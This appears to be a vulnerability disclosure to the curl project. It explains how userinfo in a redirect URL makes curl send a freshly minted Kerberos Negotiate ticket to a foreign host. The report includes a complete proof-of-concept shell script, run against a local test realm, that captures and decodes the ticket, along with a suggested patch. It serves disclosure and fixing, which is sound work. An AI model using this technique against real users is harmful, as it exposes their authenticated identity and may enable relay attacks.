curl · Report #4040551
CVE-2026-94265: Authorization: Negotiate sent to foreign origin
How it was found
Hi all,
I've discovered that curl can be made to send an "Authorization: Negotiate" header, carrying a freshly minted Kerberos ticket for the victim's ambient identity, to a host chosen by an HTTP redirect, without --location-trusted. All the attacker has to do is put arbitrary userinfo in the Location header they redirect to. This contradicts the guarantee documented for CURLOPT_UNRESTRICTED_AUTH, which says that with the option unset libcurl "does not send custom nor internally generated Authorization: or Cookie: headers on requests done to other hosts than the one used for the initial URL".
I have an end-to-end PoC against a real KDC on pristine upstream d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV), a control showing the protection holds when the userinfo is removed, and a small fix that I have verified closes it without regressing either normal Negotiate or --location-trusted. Details below.
How it works
The gate asks "do I have any credentials?" when it should ask "am I still on the original host?"
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L872-L878
/* Either we have credentials for the origin we talk to or
performing authentication is allowed here */
if(data->state.creds || Curl_auth_allowed_to_host(data))
result = output_auth_headers(data, conn, authhost, request,
path_and_query, FALSE);
else
authhost->done = TRUE;
That "||" is the whole vulnerability. Either condition is enough.
The flow:
- You run
curl --negotiate -L http://intranet/- Kerberos SSO, no password typed. intranetredirects you tohttp://bob:[email protected]/.- curl correctly drops your credentials, because it is a different host. But it then parses
bob:aliceout of the attacker's own URL and stores it in state.creds. That path has no origin check. - Gate: credentials exist -> proceed. The origin check is never consulted.
- The Negotiate branch runs. It throws
bob:aliceaway, goes to the KDC, and gets a fresh Kerberos ticket for HTTP/attacker.example. Sends it.
The attacker now holds a Kerberos AP-REQ for their own service, proving your identity.
What makes it odd is that a credential which is never used unlocks an authentication that does not use credentials. bob:alice is neither forwarded nor checked. Its only job is to be non-NULL.
Same PoC, one change, which is the proof that this and nothing else is the cause:
| Redirect target | Attacker receives |
|---|---|
| http://bob:[email protected]/ | Authorization: Negotiate <ticket for HTTP/attacker> |
| http://attacker.example/ | nothing |
Code paths
- Application-set credentials ARE origin-checked, so yours are correctly dropped on the redirect.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/url.c#L1355-L1360
if((CURL_EASY_STR(data, STRING_USERNAME) ||
CURL_EASY_STR(data, STRING_PASSWORD) ||
CURL_EASY_STR(data, STRING_BEARER) ||
CURL_EASY_STR(data, STRING_SASL_AUTHZID) ||
CURL_EASY_STR(data, STRING_SERVICE_NAME)) &&
Curl_auth_allowed_to_origin(data, data->state.origin)) {
- Credentials taken from the URL are NOT origin-checked. The redirect target is attacker-chosen, so this repopulates state.creds for the foreign origin.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/url.c#L1383-L1391
if(!newcreds || !Curl_creds_has_user(newcreds)) {
char *user = NULL;
char *passwd = NULL;
char *udecoded = NULL;
char *pdecoded = NULL;
CURLUcode uc;
uc = curl_url_get(uh, CURLUPART_USER, &user, 0);
if(uc && (uc != CURLUE_NO_USER))
-
The gate accepts that, and output_auth_headers() runs for the foreign origin. https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L874
-
The HTTPSIG branch guards against exactly this. The Negotiate branch directly below it does not - it only checks that the application did not set its own header.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L671-L704
#ifndef CURL_DISABLE_HTTPSIG
if((authstatus->picked == CURLAUTH_HTTPSIG) && !proxy) {
/* HTTPSIG uses its own configured key material rather than
data->state.creds. Do not let unrelated credentials from a
redirected URL bypass the cross-host auth boundary. */
if(Curl_auth_allowed_to_host(data)) {
auth = "HTTPSIG";
result = Curl_output_httpsig(data);
if(result)
return result;
}
else
authstatus->done = TRUE;
}
else
#endif
#ifdef USE_SPNEGO
if(authstatus->picked == CURLAUTH_NEGOTIATE) {
if(
#ifndef CURL_DISABLE_PROXY
(proxy && !Curl_checkProxyheaders(data, conn,
STRCONST("Proxy-authorization"))) ||
#endif
(!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
auth = "Negotiate";
result = Curl_output_negotiate(data, conn, proxy);
if(result)
return result;
}
else
authstatus->done = TRUE;
}
else
#endif
- Negotiate needs no username, so the ambient credential cache is used. The credentials that unlocked the gate are explicitly discarded.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/vauth/spnego_gssapi.c#L92
(void)creds;
- The SPN is built from the CURRENT origin, which is the attacker's hostname.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http_negotiate.c#L77
host = data->state.origin->hostname;
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http_negotiate.c#L126-L127
result = Curl_auth_decode_spnego_message(data, creds, "HTTP",
host, header, neg_ctx);
- The boundary being bypassed.
https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/vauth/vauth.c#L140-L149
bool Curl_auth_allowed_to_host(struct Curl_easy *data)
{
return Curl_auth_allowed_to_origin(data, data->state.origin);
}
bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
struct Curl_peer *origin)
{
return data->set.allow_auth_to_other_hosts ||
Curl_peer_equal(data->state.initial_origin, origin);
- Worth noting that a CUSTOM Authorization header is already blocked cross-host. Only the internally generated one is not. https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L1878-L1883
else if((curlx_str_casecompare(&name, "Authorization") ||
curlx_str_casecompare(&name, "Cookie")) &&
/* be careful of sending this potentially sensitive header to
other hosts */
!Curl_auth_allowed_to_host(data))
;
Reproduction
Verified on pristine upstream curl/curl d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV, GSS-API + SPNEGO, MIT krb5 1.22.2), and also on 557e43b237 of my own tree (8.22.1-DEV). Build with -DCURL_USE_GSSAPI=ON so that curl -V lists SPNEGO.
VF_CURL=<curl-with-spnego> sh reproduce.sh exploit
VF_CURL=<curl-with-spnego> sh reproduce.sh control
The script stands up a throwaway MIT Kerberos realm (KDC, one user principal, two service principals), kinits a victim who has never heard of attacker.poc.test, and runs curl against a legit origin that 301-redirects to an attacker origin. The only difference between the two arms is whether the Location header carries userinfo.
Results:
exploit: attacker origin received Authorization: Negotiate (1060 b64 chars) AP-REQ principal fields: ['POC.TEST', 'HTTP', 'attacker.poc.test'] control: attacker origin received NO Authorization header
The token is a SPNEGO wrapper (OID 1.3.6.1.5.5.2) over a krb5 AP-REQ (OID 1.2.840.113554.1.2.2) whose ticket sname is HTTP/attacker.poc.test in realm POC.TEST. legit.poc.test does not appear anywhere in it, so it is a newly minted ticket rather than a replay of the one sent to the first host. klist afterwards confirms the KDC issued HTTP/[email protected] to the victim, for a host the caller never asked to contact.
reproduce.sh:
#!/bin/sh
# Reproduces the cross-origin SPNEGO/Negotiate leak in lib/http.c.
#
# Env overrides (defaults suit a Homebrew MIT krb5 on macOS):
# VF_CURL - curl built with SPNEGO (`curl -V` must list GSS-API or SPNEGO)
# VF_WORK - scratch dir (default /tmp/vf-nego)
# VF_KRB5 - MIT krb5 prefix (default /opt/homebrew/opt/krb5)
# VF_KDCP - KDC port (default 19188)
# VF_APORT - "legit" origin port (default 19218)
# VF_BPORT - "attacker" origin port (default 19219)
set -e
MODE="$1"
WORK="${VF_WORK:-/tmp/vf-nego}"
KRB5="${VF_KRB5:-/opt/homebrew/opt/krb5}"
KDCP="${VF_KDCP:-19188}"
APORT="${VF_APORT:-19218}"
BPORT="${VF_BPORT:-19219}"
CURL_BIN="${VF_CURL:-curl}"
MARKER="$WORK/attacker-received-negotiate"
# Clean at the START of every arm: both arms share one work dir, so the control
# must not inherit a marker left by the exploit arm.
pkill -f "krb5kdc -n -P $WORK/kdc.pid" 2>/dev/null || true
rm -rf "$WORK"
mkdir -p "$WORK/db"
# Exploit: the redirect Location carries unrelated userinfo, which makes
# data->state.creds non-NULL for the foreign origin and satisfies the
# `data->state.creds ||` half of the gate at lib/http.c:874.
# Control: identical, but no userinfo -> the gate correctly blocks the header.
if [ "$MODE" = "exploit" ]; then
LOC="http://bob:[email protected]:$BPORT/step2"
else
LOC="http://attacker.poc.test:$BPORT/step2"
fi
# --- Throwaway Kerberos realm: test infrastructure only, NOT the target. ---
cat > "$WORK/krb5.conf" <<EOF
[libdefaults]
default_realm = POC.TEST
dns_lookup_kdc = false
dns_lookup_realm = false
rdns = false
[realms]
POC.TEST = {
kdc = 127.0.0.1:$KDCP
}
[domain_realm]
.poc.test = POC.TEST
poc.test = POC.TEST
EOF
cat > "$WORK/kdc.conf" <<EOF
[kdcdefaults]
kdc_ports = $KDCP
kdc_tcp_ports = $KDCP
[realms]
POC.TEST = {
database_name = $WORK/db/principal
key_stash_file = $WORK/db/stash
acl_file = $WORK/db/kadm5.acl
supported_enctypes = aes256-cts:normal
}
EOF
export KRB5_CONFIG="$WORK/krb5.conf"
export KRB5_KDC_PROFILE="$WORK/kdc.conf"
export KRB5CCNAME="$WORK/victim.ccache"
"$KRB5/sbin/kdb5_util" create -s -P testmaster -r POC.TEST >/dev/null
# The victim's realm contains an SPN for the attacker's host. The victim has
# never heard of it; only the KDC's realm membership matters.
"$KRB5/sbin/kadmin.local" -q "addprinc -pw victimpass victim" >/dev/null 2>&1
"$KRB5/sbin/kadmin.local" -q "addprinc -randkey HTTP/legit.poc.test" >/dev/null 2>&1
"$KRB5/sbin/kadmin.local" -q "addprinc -randkey HTTP/attacker.poc.test" >/dev/null 2>&1
"$KRB5/sbin/krb5kdc" -n -P "$WORK/kdc.pid" > "$WORK/kdc.log" 2>&1 &
KDC_PID=$!
i=0; while [ $i -lt 30 ]; do i=$((i+1)); sleep 0.1; done
printf 'victimpass\n' | "$KRB5/bin/kinit" victim >/dev/null
# --- Origin A ("legit"): redirects to origin B. ---
cat > "$WORK/a.py" <<EOF
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header("Location", "$LOC")
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(("127.0.0.1", $APORT), H).serve_forever()
EOF
# --- Origin B ("attacker"): reached only via A's redirect. Records whether the
# victim's client presented an ambient-credential Negotiate token. ---
cat > "$WORK/b.py" <<EOF
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
a = self.headers.get("Authorization")
if a and a.lower().startswith("negotiate"):
open("$MARKER", "w").write(a.split(" ", 1)[1].strip())
self.send_response(200)
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(("127.0.0.1", $BPORT), H).serve_forever()
EOF
python3 "$WORK/a.py" & A_PID=$!
python3 "$WORK/b.py" & B_PID=$!
i=0; while [ $i -lt 20 ]; do i=$((i+1)); sleep 0.1; done
: > "${VF_READY:-/dev/null}"
# Exercise the shipped curl exactly ONCE. Identical command in both arms.
# --negotiate selects SPNEGO; note the ABSENCE of --location-trusted.
timeout 20 "$CURL_BIN" -sS --negotiate --location \
--resolve "legit.poc.test:$APORT:127.0.0.1" \
--resolve "attacker.poc.test:$BPORT:127.0.0.1" \
"http://legit.poc.test:$APORT/start" -o /dev/null 2>"$WORK/curl.err" || true
{ kill "$A_PID" "$B_PID" "$KDC_PID"; wait; } 2>/dev/null || true
if [ -f "$MARKER" ]; then
echo "$MODE: attacker origin received Authorization: Negotiate ($(wc -c < "$MARKER" | tr -d ' ') b64 chars)"
python3 - "$MARKER" <<'PY'
import base64, sys
raw = base64.b64decode(open(sys.argv[1]).read())
runs, i = [], 0
while i < len(raw):
if raw[i] == 0x1b and 0 < raw[i+1] < 64:
s = raw[i+2:i+2+raw[i+1]]
if all(32 <= c < 127 for c in s) and len(s) >= 4:
runs.append(s.decode()); i += 2 + raw[i+1]; continue
i += 1
print(" AP-REQ principal fields:", runs)
PY
else
echo "$MODE: attacker origin received NO Authorization header"
fi
Suggested fix
diff --git a/lib/http.c b/lib/http.c
index 3ed023753d..4b31cc2376 100644
--- a/lib/http.c
+++ b/lib/http.c
@@ -691,7 +691,8 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
(proxy && !Curl_checkProxyheaders(data, conn,
STRCONST("Proxy-authorization"))) ||
#endif
- (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
+ (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")) &&
+ Curl_auth_allowed_to_host(data))) {
auth = "Negotiate";
result = Curl_output_negotiate(data, conn, proxy);
if(result)
@@ -704,10 +705,14 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
#endif
#ifdef USE_NTLM
if(authstatus->picked == CURLAUTH_NTLM) {
- auth = "NTLM";
- result = Curl_output_ntlm(data, proxy);
- if(result)
- return result;
+ if(proxy || Curl_auth_allowed_to_host(data)) {
+ auth = "NTLM";
+ result = Curl_output_ntlm(data, proxy);
+ if(result)
+ return result;
+ }
+ else
+ authstatus->done = TRUE;
}
else
#endif
Cheers, Josh
Impact
The attacker controls the long-term key for the SPN they redirected you to (think: website with an open redirect vulnerability), so they can decrypt the AP-REQ and learn your authenticated identity. With CURLOPT_GSSAPI_DELEGATION the ticket is forwardable, and on Windows SSPI an unknown SPN falls back to NTLM, which yields a relay-able NTLM exchange. I did not demonstrate either of those two outcomes, so they are not reflected in the CVSS score above.
Note this is not the classic "credential leak on redirect" pattern where an existing header value is forwarded to a new host. curl performs a complete, fresh authentication handshake against the attacker's service on your behalf, so the exposure is not bounded by what you previously sent.